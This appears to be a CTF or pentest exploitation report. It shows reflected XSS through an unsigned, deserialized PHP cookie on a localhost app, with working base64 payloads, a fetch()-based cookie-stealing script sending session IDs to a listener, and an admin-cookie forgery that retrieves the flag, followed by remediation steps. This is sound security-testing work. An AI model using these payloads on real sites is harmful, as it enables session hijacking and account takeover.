# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS via Insecure Cookie Deserialization

**Summary:**
- **Vulnerable location:** http://localhost:36423/index.php (username rendering via cookie deserialization)
- **Overview:** The application deserializes a user-controlled cookie (`data`) without validation and directly echoes the extracted username into HTML without encoding, enabling arbitrary JavaScript execution
- **Impact:** Complete session hijacking, credential theft, and unauthorized access to sensitive data (including CTF flag)
- **Severity:** Critical

**Prerequisites:**
- Web browser with developer tools or ability to set cookies
- Basic understanding of PHP serialization format
- HTTP listener for exfiltration (e.g., `python3 -m http.server 8888`)

**Exploitation Steps:**

**Step 1: Register and authenticate to obtain a legitimate cookie**

Navigate to the application and create an account:
```
1. Visit http://localhost:36423/sign-up.php
2. Register with username: xsstest, password: password123
3. After registration, visit http://localhost:36423/sign-in.php
4. Login with the same credentials
5. You will be redirected to http://localhost:36423/index.php
```

**Step 2: Extract and decode the serialized cookie**

Open browser developer tools (F12) and execute in console:
```javascript
document.cookie
```

You will see a cookie named `data` with a base64-encoded value like:
```
TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjU7czo4OiJ1c2VybmFtZSI7czo3OiJ4c3N0ZXN0Ijt9
```

Decode it to see the serialized PHP object:
```bash
echo "TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjU7czo4OiJ1c2VybmFtZSI7czo3OiJ4c3N0ZXN0Ijt9" | base64 -d
```

Output:
```
O:11:"UserProfile":2:{s:6:"userid";i:5;s:8:"username";s:7:"xsstest";}
```

**Step 3: Craft XSS payload in serialized format**

Create a malicious serialized object with XSS payload in the username field. The payload `<script>alert(1)</script>` is 25 characters:

```bash
echo 'O:11:"UserProfile":2:{s:6:"userid";i:5;s:8:"username";s:25:"<script>alert(1)</script>";}' | base64
```

Malicious cookie value:
```
TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjU7czo4OiJ1c2VybmFtZSI7czoyNToiPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PiI7fQo=
```

**Step 4: Inject the malicious cookie**

In browser console, execute:
```javascript
document.cookie = "data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjU7czo4OiJ1c2VybmFtZSI7czoyNToiPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PiI7fQo=";
location.reload();
```

**Expected Result:** The page will reload and an alert dialog with "1" will appear, blocking the page load. This confirms JavaScript execution (Level 3 exploitation).

**Proof of Impact:**

**Impact 1: Session Cookie Theft (Session Hijacking)**

Set up an HTTP listener to capture exfiltrated data:
```bash
python3 -m http.server 8888 > /tmp/xss_exfil.log 2>&1 &
```

Create a cookie-stealing payload:
```python
python3 -c "
import base64
payload = '<script>fetch(\"http://localhost:8888/?cookie=\"+encodeURIComponent(document.cookie))</script>'
serialized = f'O:11:\"UserProfile\":2:{{s:6:\"userid\";i:5;s:8:\"username\";s:{len(payload)}:\"{payload}\";}}'
encoded = base64.b64encode(serialized.encode()).decode()
print(encoded)
"
```

Output cookie:
```
TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjU7czo4OiJ1c2VybmFtZSI7czo5MjoiPHNjcmlwdD5mZXRjaCgiaHR0cDovL2xvY2FsaG9zdDo4ODg4Lz9jb29raWU9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4iO30=
```

Inject and reload:
```javascript
document.cookie = "data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjU7czo4OiJ1c2VybmFtZSI7czo5MjoiPHNjcmlwdD5mZXRjaCgiaHR0cDovL2xvY2FsaG9zdDo4ODg4Lz9jb29raWU9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4iO30=";
location.reload();
```

Check the exfiltration log:
```bash
cat /tmp/xss_exfil.log
```

**Captured Session Cookie:**
```
::1 - - [28/Oct/2025 15:26:41] "GET /?cookie=PHPSESSID%3D6c7a9df7512cb080d7b9a8a2c8afd15e%3B%20data%3D[...] HTTP/1.1" 200 -
```

**Decoded exfiltrated data:**
- **PHPSESSID:** `6c7a9df7512cb080d7b9a8a2c8afd15e`
- **data cookie:** (also captured)

**Attack Chain:** An attacker can use this stolen PHPSESSID to impersonate the victim user without knowing their password.

**Impact 2: CTF Flag Extraction via Authorization Bypass + XSS**

The XSS vulnerability enables modification of the userid in the cookie to access other users' data. Create a payload to access admin notes (userid=1):

```bash
echo 'O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}' | base64
```

Admin cookie:
```
TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7fQo=
```

Inject admin cookie via XSS or browser console:
```javascript
document.cookie = "data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7fQo=";
location.reload();
```

**Flag Captured:**
```
Title: Secret
Content: My Secret Data FLAG{a68e6443c894f67f53c4db8f932273d21468c7acd52ee8e8a78357e88f3bccc5}
```

**Complete Exploitation Flow:**
1. XSS allows arbitrary JavaScript execution in victim's browser
2. JavaScript modifies the cookie to set userid=1 (admin)
3. Page reload loads admin's notes containing the flag
4. Flag is exfiltrated to attacker-controlled server

**Notes:**

**Technical Details:**
- **Vulnerability Root Cause:** Combination of insecure deserialization (CWE-502) and missing output encoding (CWE-79)
- **Data Flow:** `$_COOKIE["data"]` → `base64_decode()` → `unserialize()` → `$obj->username` → `echo` (no htmlspecialchars)
- **Source:** index.php:13 - `$obj = unserialize(base64_decode($_COOKIE["data"]));`
- **Sink:** index.php:61 - `<h1>Welcome <?php echo $username; ?></h1>`
- **No CSP:** No Content-Security-Policy header present, allowing inline scripts and external fetches
- **No HttpOnly:** Session cookie (PHPSESSID) lacks HttpOnly flag, making it accessible via document.cookie

**Impact Summary:**
- ✅ **JavaScript Execution Confirmed** (Level 3)
- ✅ **Session Hijacking Demonstrated** (Level 4) 
- ✅ **CTF Flag Extracted** (Level 4)
- ✅ **Complete Account Takeover** (including admin account)

**Remediation:**
1. Apply `htmlspecialchars($username, ENT_QUOTES, 'UTF-8')` at output time (index.php:61)
2. Add HMAC signature to cookie for integrity verification
3. Implement Content-Security-Policy header to prevent inline script execution
4. Set HttpOnly flag on all authentication cookies
5. Remove insecure deserialization - store only userid in session, not in client cookie
6. Add proper server-side authorization checks before accessing user data

**Business Impact:**
An attacker can:
- Hijack any user session by tricking them to visit a malicious link with XSS payload
- Access any user's private notes (horizontal privilege escalation)
- Access admin account and extract sensitive data (vertical privilege escalation)
- Perform actions as the victim user (CSRF via XSS)
- Create persistent backdoors via stored notes (if combined with stored XSS)
